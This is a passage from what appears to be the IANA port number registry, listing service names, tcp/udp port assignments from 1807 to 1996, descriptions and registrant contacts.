fhsp 1807 tcp Fujitsu Hot Standby Protocol [Eiki_Iwata] [Eiki_Iwata]
fhsp 1807 udp Fujitsu Hot Standby Protocol [Eiki_Iwata] [Eiki_Iwata]
oracle-vp2 1808 tcp Oracle-VP2 [Craig_Fowler] [Craig_Fowler]
oracle-vp2 1808 udp Oracle-VP2 [Craig_Fowler] [Craig_Fowler]
oracle-vp1 1809 tcp Oracle-VP1 [Craig_Fowler] [Craig_Fowler]
oracle-vp1 1809 udp Oracle-VP1 [Craig_Fowler] [Craig_Fowler]
jerand-lm 1810 tcp Jerand License Manager [Robert_Monat] [Robert_Monat]
jerand-lm 1810 udp Jerand License Manager [Robert_Monat] [Robert_Monat]
scientia-sdb 1811 tcp Scientia-SDB [SYSTEMS_MANAGER] [SYSTEMS_MANAGER]
scientia-sdb 1811 udp Scientia-SDB [SYSTEMS_MANAGER] [SYSTEMS_MANAGER]
radius 1812 tcp RADIUS [RFC2865]
radius 1812 udp RADIUS [RFC2865]
radius-acct 1813 tcp RADIUS Accounting [RFC2866]
radius-acct 1813 udp RADIUS Accounting [RFC2866]
tdp-suite 1814 tcp TDP Suite [Rob_Lockhart] [Rob_Lockhart]
tdp-suite 1814 udp TDP Suite [Rob_Lockhart] [Rob_Lockhart]
mmpft 1815 tcp MMPFT [Ralf_Muckenhirn] [Ralf_Muckenhirn]
mmpft 1815 udp MMPFT [Ralf_Muckenhirn] [Ralf_Muckenhirn]
harp 1816 tcp HARP [Bjorn_Chambless] [Bjorn_Chambless]
harp 1816 udp HARP [Bjorn_Chambless] [Bjorn_Chambless]
rkb-oscs 1817 tcp RKB-OSCS [Robert_Kevin_Breton] [Robert_Kevin_Breton]
rkb-oscs 1817 udp RKB-OSCS [Robert_Kevin_Breton] [Robert_Kevin_Breton]
etftp 1818 tcp Enhanced Trivial File [William_Polites] [William_Polites]
Transfer Protocol
etftp 1818 udp Enhanced Trivial File [William_Polites] [William_Polites]
Transfer Protocol
plato-lm 1819 tcp Plato License Manager [Mark_Morris] [Mark_Morris]
plato-lm 1819 udp Plato License Manager [Mark_Morris] [Mark_Morris]
mcagent 1820 tcp mcagent [Ryoichi_Shinohara] [Ryoichi_Shinohara]
mcagent 1820 udp mcagent [Ryoichi_Shinohara] [Ryoichi_Shinohara]
donnyworld 1821 tcp donnyworld [Don_Oliver] [Don_Oliver]
donnyworld 1821 udp donnyworld [Don_Oliver] [Don_Oliver]
es-elmd 1822 tcp es-elmd [David_Duncan] [David_Duncan]
es-elmd 1822 udp es-elmd [David_Duncan] [David_Duncan]
unisys-lm 1823 tcp Unisys Natural Language [Raymond_A_Diedrichs] [Raymond_A_Diedrichs]
License Manager
unisys-lm 1823 udp Unisys Natural Language [Raymond_A_Diedrichs] [Raymond_A_Diedrichs]
License Manager
metrics-pas 1824 tcp metrics-pas [Tom_Haapanen] [Tom_Haapanen]
metrics-pas 1824 udp metrics-pas [Tom_Haapanen] [Tom_Haapanen]
direcpc-video 1825 tcp DirecPC Video [Chris_Kerrigan] [Chris_Kerrigan]
direcpc-video 1825 udp DirecPC Video [Chris_Kerrigan] [Chris_Kerrigan]
ardt 1826 tcp ARDT [Mike_Goddard] [Mike_Goddard]
ardt 1826 udp ARDT [Mike_Goddard] [Mike_Goddard]
asi 1827 tcp ASI [Bob_Tournoux] [Bob_Tournoux]
asi 1827 udp ASI [Bob_Tournoux] [Bob_Tournoux]
itm-mcell-u 1828 tcp itm-mcell-u [Portnoy_Boxman] [Portnoy_Boxman]
itm-mcell-u 1828 udp itm-mcell-u [Portnoy_Boxman] [Portnoy_Boxman]
optika-emedia 1829 tcp Optika eMedia [Daryle_DeBalski] [Daryle_DeBalski]
optika-emedia 1829 udp Optika eMedia [Daryle_DeBalski] [Daryle_DeBalski]
net8-cman 1830 tcp Oracle Net8 CMan Admin [Shuvayu_Kanjilal] [Shuvayu_Kanjilal]
net8-cman 1830 udp Oracle Net8 CMan Admin [Shuvayu_Kanjilal] [Shuvayu_Kanjilal]
myrtle 1831 tcp Myrtle [Ron_Achin] [Ron_Achin]
myrtle 1831 udp Myrtle [Ron_Achin] [Ron_Achin]
tht-treasure 1832 tcp ThoughtTreasure [Erik_Mueller] [Erik_Mueller]
tht-treasure 1832 udp ThoughtTreasure [Erik_Mueller] [Erik_Mueller]
udpradio 1833 tcp udpradio [Guus_Sliepen] [Guus_Sliepen]
udpradio 1833 udp udpradio [Guus_Sliepen] [Guus_Sliepen]
ardusuni 1834 tcp ARDUS Unicast
ardusuni 1834 udp ARDUS Unicast
ardusmul 1835 tcp ARDUS Multicast [Toshikatsu_Ito] [Toshikatsu_Ito]
ardusmul 1835 udp ARDUS Multicast [Toshikatsu_Ito] [Toshikatsu_Ito]
ste-smsc 1836 tcp ste-smsc [Tom_Snauwaert] [Tom_Snauwaert]
ste-smsc 1836 udp ste-smsc [Tom_Snauwaert] [Tom_Snauwaert]
csoft1 1837 tcp csoft1 [John_Coll] [John_Coll]
csoft1 1837 udp csoft1 [John_Coll] [John_Coll]
talnet 1838 tcp TALNET [Aaron_Lav] [Aaron_Lav]
talnet 1838 udp TALNET [Aaron_Lav] [Aaron_Lav]
netopia-vo1 1839 tcp netopia-vo1
netopia-vo1 1839 udp netopia-vo1
netopia-vo2 1840 tcp netopia-vo2
netopia-vo2 1840 udp netopia-vo2
netopia-vo3 1841 tcp netopia-vo3
netopia-vo3 1841 udp netopia-vo3
netopia-vo4 1842 tcp netopia-vo4
netopia-vo4 1842 udp netopia-vo4
netopia-vo5 1843 tcp netopia-vo5 [Marc_Epard] [Marc_Epard]
netopia-vo5 1843 udp netopia-vo5 [Marc_Epard] [Marc_Epard]
direcpc-dll 1844 tcp DirecPC-DLL [Chris_Kerrigan] [Chris_Kerrigan]
direcpc-dll 1844 udp DirecPC-DLL [Chris_Kerrigan] [Chris_Kerrigan]
altalink 1845 tcp altalink [Alberto_Raydan] [Alberto_Raydan]
altalink 1845 udp altalink [Alberto_Raydan] [Alberto_Raydan]
tunstall-pnc 1846 tcp Tunstall PNC [Robert_M_Moore] [Robert_M_Moore]
tunstall-pnc 1846 udp Tunstall PNC [Robert_M_Moore] [Robert_M_Moore]
slp-notify 1847 tcp SLP Notification [RFC3082]
slp-notify 1847 udp SLP Notification [RFC3082]
fjdocdist 1848 tcp fjdocdist [Yuichi_Ohiwa] [Yuichi_Ohiwa]
fjdocdist 1848 udp fjdocdist [Yuichi_Ohiwa] [Yuichi_Ohiwa]
alpha-sms 1849 tcp ALPHA-SMS [Benjamin_Grimm] [Benjamin_Grimm]
alpha-sms 1849 udp ALPHA-SMS [Benjamin_Grimm] [Benjamin_Grimm]
gsi 1850 tcp GSI [William_Mullaney] [William_Mullaney]
gsi 1850 udp GSI [William_Mullaney] [William_Mullaney]
ctcd 1851 tcp ctcd [John_Ryan] [John_Ryan]
ctcd 1851 udp ctcd [John_Ryan] [John_Ryan]
virtual-time 1852 tcp Virtual Time [Angie_S_Morner] [Angie_S_Morner]
virtual-time 1852 udp Virtual Time [Angie_S_Morner] [Angie_S_Morner]
vids-avtp 1853 tcp VIDS-AVTP [Sascha_Kuemmel] [Sascha_Kuemmel]
vids-avtp 1853 udp VIDS-AVTP [Sascha_Kuemmel] [Sascha_Kuemmel]
buddy-draw 1854 tcp Buddy Draw [Marvin_Shin] [Marvin_Shin]
buddy-draw 1854 udp Buddy Draw [Marvin_Shin] [Marvin_Shin]
fiorano-rtrsvc 1855 tcp Fiorano RtrSvc
fiorano-rtrsvc 1855 udp Fiorano RtrSvc
fiorano-msgsvc 1856 tcp Fiorano MsgSvc [Albert_Holt_2] [Albert_Holt_2]
fiorano-msgsvc 1856 udp Fiorano MsgSvc [Albert_Holt_2] [Albert_Holt_2]
datacaptor 1857 tcp DataCaptor [Steven_M_Forrester] [Steven_M_Forrester]
datacaptor 1857 udp DataCaptor [Steven_M_Forrester] [Steven_M_Forrester]
privateark 1858 tcp PrivateArk [Ronen_Zoran] [Ronen_Zoran]
privateark 1858 udp PrivateArk [Ronen_Zoran] [Ronen_Zoran]
gammafetchsvr 1859 tcp Gamma Fetcher Server [Cnaan_Aviv] [Cnaan_Aviv]
gammafetchsvr 1859 udp Gamma Fetcher Server [Cnaan_Aviv] [Cnaan_Aviv]
sunscalar-svc 1860 tcp SunSCALAR Services [Sanjay_Radia] [Sanjay_Radia]
sunscalar-svc 1860 udp SunSCALAR Services [Sanjay_Radia] [Sanjay_Radia]
lecroy-vicp 1861 tcp LeCroy VICP [Anthony_Cake] [Anthony_Cake]
lecroy-vicp 1861 udp LeCroy VICP [Anthony_Cake] [Anthony_Cake]
mysql-cm-agent 1862 tcp MySQL Cluster Manager Agent [Andrew_Morgan] [Andrew_Morgan] 2009-12-08
mysql-cm-agent 1862 udp MySQL Cluster Manager Agent [Andrew_Morgan] [Andrew_Morgan] 2009-12-08
msnp 1863 tcp MSNP [William_Lai] [William_Lai]
msnp 1863 udp MSNP [William_Lai] [William_Lai]
paradym-31port 1864 tcp Paradym 31 Port [David_Wooden] [David_Wooden]
paradym-31port 1864 udp Paradym 31 Port [David_Wooden] [David_Wooden]
entp 1865 tcp ENTP [Seiko_Epson] [Seiko_Epson]
entp 1865 udp ENTP [Seiko_Epson] [Seiko_Epson]
swrmi 1866 tcp swrmi [Jun_Yoshii] [Jun_Yoshii]
swrmi 1866 udp swrmi [Jun_Yoshii] [Jun_Yoshii]
udrive 1867 tcp UDRIVE [Robby_Walker] [Robby_Walker]
udrive 1867 udp UDRIVE [Robby_Walker] [Robby_Walker]
viziblebrowser 1868 tcp VizibleBrowser [Jimmy_Talbot] [Jimmy_Talbot]
viziblebrowser 1868 udp VizibleBrowser [Jimmy_Talbot] [Jimmy_Talbot]
transact 1869 tcp TransAct [TransAct_Futures_Dev] [TransAct_Futures_Dev]
transact 1869 udp TransAct [TransAct_Futures_Dev] [TransAct_Futures_Dev]
sunscalar-dns 1870 tcp SunSCALAR DNS Service [Sanjay_Radia] [Sanjay_Radia]
sunscalar-dns 1870 udp SunSCALAR DNS Service [Sanjay_Radia] [Sanjay_Radia]
canocentral0 1871 tcp Cano Central 0
canocentral0 1871 udp Cano Central 0
canocentral1 1872 tcp Cano Central 1 [Mark_McNamara] [Mark_McNamara]
canocentral1 1872 udp Cano Central 1 [Mark_McNamara] [Mark_McNamara]
fjmpjps 1873 tcp Fjmpjps
fjmpjps 1873 udp Fjmpjps
fjswapsnp 1874 tcp Fjswapsnp [Y_Ohiwa] [Y_Ohiwa]
fjswapsnp 1874 udp Fjswapsnp [Y_Ohiwa] [Y_Ohiwa]
westell-stats 1875 tcp westell stats [Thomas_McCabe] [Thomas_McCabe]
westell-stats 1875 udp westell stats [Thomas_McCabe] [Thomas_McCabe]
ewcappsrv 1876 tcp ewcappsrv [Howard_Yin] [Howard_Yin]
ewcappsrv 1876 udp ewcappsrv [Howard_Yin] [Howard_Yin]
hp-webqosdb 1877 tcp hp-webqosdb [Kim_Scott] [Kim_Scott]
hp-webqosdb 1877 udp hp-webqosdb [Kim_Scott] [Kim_Scott]
drmsmc 1878 tcp drmsmc [Katsuhiko_Abe] [Katsuhiko_Abe]
drmsmc 1878 udp drmsmc [Katsuhiko_Abe] [Katsuhiko_Abe]
nettgain-nms 1879 tcp NettGain NMS [Dr_Yair_Shapira] [Dr_Yair_Shapira]
nettgain-nms 1879 udp NettGain NMS [Dr_Yair_Shapira] [Dr_Yair_Shapira]
vsat-control 1880 tcp Gilat VSAT Control [Yariv_Kaplan] [Yariv_Kaplan]
vsat-control 1880 udp Gilat VSAT Control [Yariv_Kaplan] [Yariv_Kaplan]
ibm-mqseries2 1881 tcp IBM WebSphere MQ Everyplace [Jane_Porter] [Jane_Porter]
ibm-mqseries2 1881 udp IBM WebSphere MQ Everyplace [Jane_Porter] [Jane_Porter]
ecsqdmn 1882 tcp CA eTrust Common Services [Paul_Wissmiller] [Paul_Wissmiller]
ecsqdmn 1882 udp CA eTrust Common Services [Paul_Wissmiller] [Paul_Wissmiller]
mqtt 1883 tcp Message Queuing Telemetry [OASIS] [Robin_Cover] 2015-02-10
Transport Protocol
mqtt 1883 udp Message Queuing Telemetry [OASIS] [Robin_Cover] 2015-02-10
Transport Protocol
idmaps 1884 tcp Internet Distance Map Svc [Sugih_Jamim] [Sugih_Jamim]
idmaps 1884 udp Internet Distance Map Svc [Sugih_Jamim] [Sugih_Jamim]
vrtstrapserver 1885 tcp Veritas Trap Server [Russell_Thrasher] [Russell_Thrasher]
vrtstrapserver 1885 udp Veritas Trap Server [Russell_Thrasher] [Russell_Thrasher]
leoip 1886 tcp Leonardo over IP [Dietmar_Finkler] [Dietmar_Finkler]
leoip 1886 udp Leonardo over IP [Dietmar_Finkler] [Dietmar_Finkler]
filex-lport 1887 tcp FileX Listening Port [Megan_Woods] [Megan_Woods]
filex-lport 1887 udp FileX Listening Port [Megan_Woods] [Megan_Woods]
ncconfig 1888 tcp NC Config Port [Simon_Parker] [Simon_Parker]
ncconfig 1888 udp NC Config Port [Simon_Parker] [Simon_Parker]
unify-adapter 1889 tcp Unify Web Adapter Service [Daegis_Inc] [Chris_Anderson] 2012-07-31
unify-adapter 1889 udp Unify Web Adapter Service [Daegis_Inc] [Chris_Anderson] 2012-07-31
wilkenlistener 1890 tcp wilkenListener [Wilken_GmbH] [Wilken_GmbH]
wilkenlistener 1890 udp wilkenListener [Wilken_GmbH] [Wilken_GmbH]
childkey-notif 1891 tcp ChildKey Notification
childkey-notif 1891 udp ChildKey Notification
childkey-ctrl 1892 tcp ChildKey Control [Ivan_Berardinelli] [Ivan_Berardinelli]
childkey-ctrl 1892 udp ChildKey Control [Ivan_Berardinelli] [Ivan_Berardinelli]
elad 1893 tcp ELAD Protocol [Franco_Milan] [Franco_Milan]
elad 1893 udp ELAD Protocol [Franco_Milan] [Franco_Milan]
o2server-port 1894 tcp O2Server Port [Tim_Howard] [Tim_Howard]
o2server-port 1894 udp O2Server Port [Tim_Howard] [Tim_Howard]
1895 tcp unassigned Microsoft (unoffically) using 1895
1895 udp unassigned Microsoft (unoffically) using 1895
b-novative-ls 1896 tcp b-novative license server [Matthias_Riese] [Matthias_Riese]
b-novative-ls 1896 udp b-novative license server [Matthias_Riese] [Matthias_Riese]
metaagent 1897 tcp MetaAgent [Marie_France_Dubreui] [Marie_France_Dubreui]
metaagent 1897 udp MetaAgent [Marie_France_Dubreui] [Marie_France_Dubreui]
cymtec-port 1898 tcp Cymtec secure management [Michael_Mester] [Michael_Mester]
cymtec-port 1898 udp Cymtec secure management [Michael_Mester] [Michael_Mester]
mc2studios 1899 tcp MC2Studios [Michael_Coon] [Michael_Coon]
mc2studios 1899 udp MC2Studios [Michael_Coon] [Michael_Coon]
ssdp 1900 tcp SSDP [UPnP_Forum] [UPnP_Forum]
ssdp 1900 udp SSDP [UPnP_Forum] [UPnP_Forum]
fjicl-tep-a 1901 tcp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program A
fjicl-tep-a 1901 udp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program A
fjicl-tep-b 1902 tcp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program B
fjicl-tep-b 1902 udp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program B
linkname 1903 tcp Local Link Name Resolution [Dan_Harrington] [Dan_Harrington]
linkname 1903 udp Local Link Name Resolution [Dan_Harrington] [Dan_Harrington]
fjicl-tep-c 1904 tcp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program C
fjicl-tep-c 1904 udp Fujitsu ICL Terminal [Bob_Lyon] [Bob_Lyon]
Emulator Program C
sugp 1905 tcp Secure UP.Link Gateway [Peter_King] [Peter_King]
Protocol
sugp 1905 udp Secure UP.Link Gateway [Peter_King] [Peter_King]
Protocol
tpmd 1906 tcp TPortMapperReq [Sheila_Devins] [Sheila_Devins]
tpmd 1906 udp TPortMapperReq [Sheila_Devins] [Sheila_Devins]
intrastar 1907 tcp IntraSTAR [Peter_Schoenberger] [Peter_Schoenberger]
intrastar 1907 udp IntraSTAR [Peter_Schoenberger] [Peter_Schoenberger]
dawn 1908 tcp Dawn [Michael_Crawford_2] [Michael_Crawford_2]
dawn 1908 udp Dawn [Michael_Crawford_2] [Michael_Crawford_2]
global-wlink 1909 tcp Global World Link [Nicholas_Davies] [Nicholas_Davies]
global-wlink 1909 udp Global World Link [Nicholas_Davies] [Nicholas_Davies]
ultrabac 1910 tcp UltraBac Software [Paul_Bunn] [Paul_Bunn]
communications port
ultrabac 1910 udp UltraBac Software [Paul_Bunn] [Paul_Bunn]
communications port
Starlight Networks
mtp 1911 tcp Multimedia Transport [Bruce_Lieberman] [Bruce_Lieberman]
Protocol
Starlight Networks
mtp 1911 udp Multimedia Transport [Bruce_Lieberman] [Bruce_Lieberman]
Protocol
rhp-iibp 1912 tcp rhp-iibp [George_Nachman][Tom_Lake] [George_Nachman][Tom_Lake]
rhp-iibp 1912 udp rhp-iibp [George_Nachman][Tom_Lake] [George_Nachman][Tom_Lake]
armadp 1913 tcp armadp [Kevin_Welton] [Kevin_Welton]
armadp 1913 udp armadp [Kevin_Welton] [Kevin_Welton]
elm-momentum 1914 tcp Elm-Momentum [Willie_Wu] [Willie_Wu]
elm-momentum 1914 udp Elm-Momentum [Willie_Wu] [Willie_Wu]
facelink 1915 tcp FACELINK [J_H_Hermans] [J_H_Hermans]
facelink 1915 udp FACELINK [J_H_Hermans] [J_H_Hermans]
persona 1916 tcp Persoft Persona [Tom_Spidell] [Tom_Spidell]
persona 1916 udp Persoft Persona [Tom_Spidell] [Tom_Spidell]
noagent 1917 tcp nOAgent [Martin_Bestmann] [Martin_Bestmann]
noagent 1917 udp nOAgent [Martin_Bestmann] [Martin_Bestmann]
can-nds 1918 tcp IBM Tivole Directory Service
- NDS
can-nds 1918 udp IBM Tivole Directory Service
- NDS
can-dch 1919 tcp IBM Tivoli Directory Service
- DCH
can-dch 1919 udp IBM Tivoli Directory Service
- DCH
can-ferret 1920 tcp IBM Tivoli Directory Service [Nic_Catrambone] [Nic_Catrambone]
- FERRET
can-ferret 1920 udp IBM Tivoli Directory Service [Nic_Catrambone] [Nic_Catrambone]
- FERRET
noadmin 1921 tcp NoAdmin [Martin_Bestmann] [Martin_Bestmann]
noadmin 1921 udp NoAdmin [Martin_Bestmann] [Martin_Bestmann]
tapestry 1922 tcp Tapestry [Ken_Oliver] [Ken_Oliver]
tapestry 1922 udp Tapestry [Ken_Oliver] [Ken_Oliver]
spice 1923 tcp SPICE [Nicholas_Chua] [Nicholas_Chua]
spice 1923 udp SPICE [Nicholas_Chua] [Nicholas_Chua]
xiip 1924 tcp XIIP [Alain_Robert_2] [Alain_Robert_2]
xiip 1924 udp XIIP [Alain_Robert_2] [Alain_Robert_2]
discovery-port 1925 tcp Surrogate Discovery Port [Keith_Thompson] [Keith_Thompson]
discovery-port 1925 udp Surrogate Discovery Port [Keith_Thompson] [Keith_Thompson]
egs 1926 tcp Evolution Game Server [Simon_Butcher] [Simon_Butcher]
egs 1926 udp Evolution Game Server [Simon_Butcher] [Simon_Butcher]
videte-cipc 1927 tcp Videte CIPC Port [Videte_IT] [Videte_IT]
videte-cipc 1927 udp Videte CIPC Port [Videte_IT] [Videte_IT]
emsd-port 1928 tcp Expnd Maui Srvr Dscovr [Edo_Yahav] [Edo_Yahav]
emsd-port 1928 udp Expnd Maui Srvr Dscovr [Edo_Yahav] [Edo_Yahav]
bandwiz-system 1929 tcp Bandwiz System - Server [Joseph_Weihs] [Joseph_Weihs]
bandwiz-system 1929 udp Bandwiz System - Server [Joseph_Weihs] [Joseph_Weihs]
driveappserver 1930 tcp Drive AppServer [Andrew_Johnson] [Andrew_Johnson]
driveappserver 1930 udp Drive AppServer [Andrew_Johnson] [Andrew_Johnson]
amdsched 1931 tcp AMD SCHED [Michael_Walsh] [Michael_Walsh]
amdsched 1931 udp AMD SCHED [Michael_Walsh] [Michael_Walsh]
ctt-broker 1932 tcp CTT Broker [Jens_Edlund] [Jens_Edlund]
ctt-broker 1932 udp CTT Broker [Jens_Edlund] [Jens_Edlund]
xmapi 1933 tcp IBM LM MT Agent
xmapi 1933 udp IBM LM MT Agent
xaapi 1934 tcp IBM LM Appl Agent [Helga_Wolin] [Helga_Wolin]
xaapi 1934 udp IBM LM Appl Agent [Helga_Wolin] [Helga_Wolin]
macromedia-fcs 1935 tcp Macromedia Flash [Pritham_Shetty] [Pritham_Shetty]
Communications Server MX
macromedia-fcs 1935 udp Macromedia Flash [Pritham_Shetty] [Pritham_Shetty]
Communications server MX
jetcmeserver 1936 tcp JetCmeServer Server Port
jetcmeserver 1936 udp JetCmeServer Server Port
jwserver 1937 tcp JetVWay Server Port
jwserver 1937 udp JetVWay Server Port
jwclient 1938 tcp JetVWay Client Port
jwclient 1938 udp JetVWay Client Port
jvserver 1939 tcp JetVision Server Port
jvserver 1939 udp JetVision Server Port
jvclient 1940 tcp JetVision Client Port [Stephen_Tsun] [Stephen_Tsun]
jvclient 1940 udp JetVision Client Port [Stephen_Tsun] [Stephen_Tsun]
dic-aida 1941 tcp DIC-Aida [Frans_S_C_Witte] [Frans_S_C_Witte]
dic-aida 1941 udp DIC-Aida [Frans_S_C_Witte] [Frans_S_C_Witte]
res 1942 tcp Real Enterprise Service [Bob_Janssen] [Bob_Janssen]
res 1942 udp Real Enterprise Service [Bob_Janssen] [Bob_Janssen]
beeyond-media 1943 tcp Beeyond Media [Bob_Deblier] [Bob_Deblier]
beeyond-media 1943 udp Beeyond Media [Bob_Deblier] [Bob_Deblier]
close-combat 1944 tcp close-combat [David_Hua] [David_Hua]
close-combat 1944 udp close-combat [David_Hua] [David_Hua]
dialogic-elmd 1945 tcp dialogic-elmd [Roger_Kay] [Roger_Kay]
dialogic-elmd 1945 udp dialogic-elmd [Roger_Kay] [Roger_Kay]
tekpls 1946 tcp tekpls [Brian_Abramson_2] [Brian_Abramson_2]
tekpls 1946 udp tekpls [Brian_Abramson_2] [Brian_Abramson_2]
Unauthorized
sentinelsrm 1947 tcp SentinelSRM [Michael_Zunke_2] [Michael_Zunke_2] 2010-07-23 Use Known on
port 1947
Unauthorized
sentinelsrm 1947 udp SentinelSRM [Michael_Zunke_2] [Michael_Zunke_2] 2010-07-23 Use Known on
port 1947
eye2eye 1948 tcp eye2eye [Trevor_Bell] [Trevor_Bell]
eye2eye 1948 udp eye2eye [Trevor_Bell] [Trevor_Bell]
ismaeasdaqlive 1949 tcp ISMA Easdaq Live [Stephen_Dunne] [Stephen_Dunne]
ismaeasdaqlive 1949 udp ISMA Easdaq Live [Stephen_Dunne] [Stephen_Dunne]
ismaeasdaqtest 1950 tcp ISMA Easdaq Test [Stephen_Dunne] [Stephen_Dunne]
ismaeasdaqtest 1950 udp ISMA Easdaq Test [Stephen_Dunne] [Stephen_Dunne]
bcs-lmserver 1951 tcp bcs-lmserver [Andy_Warner] [Andy_Warner]
bcs-lmserver 1951 udp bcs-lmserver [Andy_Warner] [Andy_Warner]
mpnjsc 1952 tcp mpnjsc [Takenori_Miyahara] [Takenori_Miyahara]
mpnjsc 1952 udp mpnjsc [Takenori_Miyahara] [Takenori_Miyahara]
rapidbase 1953 tcp Rapid Base [Antoni_Wolski] [Antoni_Wolski]
rapidbase 1953 udp Rapid Base [Antoni_Wolski] [Antoni_Wolski]
abr-api 1954 tcp ABR-API (diskbridge)
abr-api 1954 udp ABR-API (diskbridge)
abr-secure 1955 tcp ABR-Secure Data (diskbridge) [Graham_Wooden] [Graham_Wooden]
abr-secure 1955 udp ABR-Secure Data (diskbridge) [Graham_Wooden] [Graham_Wooden]
vrtl-vmf-ds 1956 tcp Vertel VMF DS [Alan_Akahoshi] [Alan_Akahoshi]
vrtl-vmf-ds 1956 udp Vertel VMF DS [Alan_Akahoshi] [Alan_Akahoshi]
unix-status 1957 tcp unix-status [Thomas_Erskine] [Thomas_Erskine]
unix-status 1957 udp unix-status [Thomas_Erskine] [Thomas_Erskine]
dxadmind 1958 tcp CA Administration Daemon [John_Birrell] [John_Birrell]
dxadmind 1958 udp CA Administration Daemon [John_Birrell] [John_Birrell]
simp-all 1959 tcp SIMP Channel [Tim_Hunnewell] [Tim_Hunnewell]
simp-all 1959 udp SIMP Channel [Tim_Hunnewell] [Tim_Hunnewell]
nasmanager 1960 tcp Merit DAC NASmanager [Richard_S_Conto] [Richard_S_Conto]
nasmanager 1960 udp Merit DAC NASmanager [Richard_S_Conto] [Richard_S_Conto]
bts-appserver 1961 tcp BTS APPSERVER [Carl_Obsorn] [Carl_Obsorn]
bts-appserver 1961 udp BTS APPSERVER [Carl_Obsorn] [Carl_Obsorn]
biap-mp 1962 tcp BIAP-MP [Louis_Slothouber] [Louis_Slothouber]
biap-mp 1962 udp BIAP-MP [Louis_Slothouber] [Louis_Slothouber]
webmachine 1963 tcp WebMachine [Tim_Jowers] [Tim_Jowers]
webmachine 1963 udp WebMachine [Tim_Jowers] [Tim_Jowers]
solid-e-engine 1964 tcp SOLID E ENGINE [Ari_Valtanen] [Ari_Valtanen]
solid-e-engine 1964 udp SOLID E ENGINE [Ari_Valtanen] [Ari_Valtanen]
tivoli-npm 1965 tcp Tivoli NPM [Ivana_Cuozzo] [Ivana_Cuozzo]
tivoli-npm 1965 udp Tivoli NPM [Ivana_Cuozzo] [Ivana_Cuozzo]
slush 1966 tcp Slush [Damien_Miller] [Damien_Miller]
slush 1966 udp Slush [Damien_Miller] [Damien_Miller]
sns-quote 1967 tcp SNS Quote [Robert_Ellman] [Robert_Ellman]
sns-quote 1967 udp SNS Quote [Robert_Ellman] [Robert_Ellman]
lipsinc 1968 tcp LIPSinc
lipsinc 1968 udp LIPSinc
lipsinc1 1969 tcp LIPSinc 1 [Robert_Armington] [Robert_Armington]
lipsinc1 1969 udp LIPSinc 1 [Robert_Armington] [Robert_Armington]
netop-rc 1970 tcp NetOp Remote Control
netop-rc 1970 udp NetOp Remote Control
netop-school 1971 tcp NetOp School [NetOp_Technical_Supp] [NetOp_Technical_Supp]
netop-school 1971 udp NetOp School [NetOp_Technical_Supp] [NetOp_Technical_Supp]
intersys-cache 1972 tcp Cache [Mark_Hanson] [Mark_Hanson]
intersys-cache 1972 udp Cache [Mark_Hanson] [Mark_Hanson]
dlsrap 1973 tcp Data Link Switching Remote [Steve_T_Chiang] [Steve_T_Chiang]
Access Protocol
dlsrap 1973 udp Data Link Switching Remote [Steve_T_Chiang] [Steve_T_Chiang]
Access Protocol
drp 1974 tcp DRP [Richard_Alan_Johnson] [Richard_Alan_Johnson]
drp 1974 udp DRP [Richard_Alan_Johnson] [Richard_Alan_Johnson]
tcoflashagent 1975 tcp TCO Flash Agent
tcoflashagent 1975 udp TCO Flash Agent
tcoregagent 1976 tcp TCO Reg Agent
tcoregagent 1976 udp TCO Reg Agent
tcoaddressbook 1977 tcp TCO Address Book [Allan_Panitch] [Allan_Panitch]
tcoaddressbook 1977 udp TCO Address Book [Allan_Panitch] [Allan_Panitch]
unisql 1978 tcp UniSQL
unisql 1978 udp UniSQL
unisql-java 1979 tcp UniSQL Java [Keith_Yarbrough] [Keith_Yarbrough]
unisql-java 1979 udp UniSQL Java [Keith_Yarbrough] [Keith_Yarbrough]
pearldoc-xact 1980 tcp PearlDoc XACT [Chris_Vertonghen] [Chris_Vertonghen]
pearldoc-xact 1980 udp PearlDoc XACT [Chris_Vertonghen] [Chris_Vertonghen]
p2pq 1981 tcp p2pQ [Warren_Alexander] [Warren_Alexander]
p2pq 1981 udp p2pQ [Warren_Alexander] [Warren_Alexander]
estamp 1982 tcp Evidentiary Timestamp [Todd_Glassey] [Todd_Glassey]
estamp 1982 udp Evidentiary Timestamp [Todd_Glassey] [Todd_Glassey]
lhtp 1983 tcp Loophole Test Protocol [Kade_Hansson] [Kade_Hansson]
lhtp 1983 udp Loophole Test Protocol [Kade_Hansson] [Kade_Hansson]
bb 1984 tcp BB [Sean_MacGuire] [Sean_MacGuire]
bb 1984 udp BB [Sean_MacGuire] [Sean_MacGuire]
hsrp 1985 tcp Hot Standby Router Protocol [RFC2281]
hsrp 1985 udp Hot Standby Router Protocol [RFC2281]
licensedaemon 1986 tcp cisco license management
licensedaemon 1986 udp cisco license management
tr-rsrb-p1 1987 tcp cisco RSRB Priority 1 port
tr-rsrb-p1 1987 udp cisco RSRB Priority 1 port
tr-rsrb-p2 1988 tcp cisco RSRB Priority 2 port
tr-rsrb-p2 1988 udp cisco RSRB Priority 2 port
tr-rsrb-p3 1989 tcp cisco RSRB Priority 3 port
tr-rsrb-p3 1989 udp cisco RSRB Priority 3 port
mshnet 1989 tcp MHSnet system [Bob_Kummerfeld] [Bob_Kummerfeld] This entry records an unassigned but widespread use
mshnet 1989 udp MHSnet system [Bob_Kummerfeld] [Bob_Kummerfeld] This entry records an unassigned but widespread use
stun-p1 1990 tcp cisco STUN Priority 1 port
stun-p1 1990 udp cisco STUN Priority 1 port
stun-p2 1991 tcp cisco STUN Priority 2 port
stun-p2 1991 udp cisco STUN Priority 2 port
stun-p3 1992 tcp cisco STUN Priority 3 port
stun-p3 1992 udp cisco STUN Priority 3 port
ipsendmsg 1992 tcp IPsendmsg [Bob_Kummerfeld] [Bob_Kummerfeld] This entry records an unassigned but widespread use
ipsendmsg 1992 udp IPsendmsg [Bob_Kummerfeld] [Bob_Kummerfeld] This entry records an unassigned but widespread use
snmp-tcp-port 1993 tcp cisco SNMP TCP port
snmp-tcp-port 1993 udp cisco SNMP TCP port
stun-port 1994 tcp cisco serial tunnel port
stun-port 1994 udp cisco serial tunnel port
perf-port 1995 tcp cisco perf port
perf-port 1995 udp cisco perf port
tr-rsrb-port 1996 tcp cisco Remote SRB port
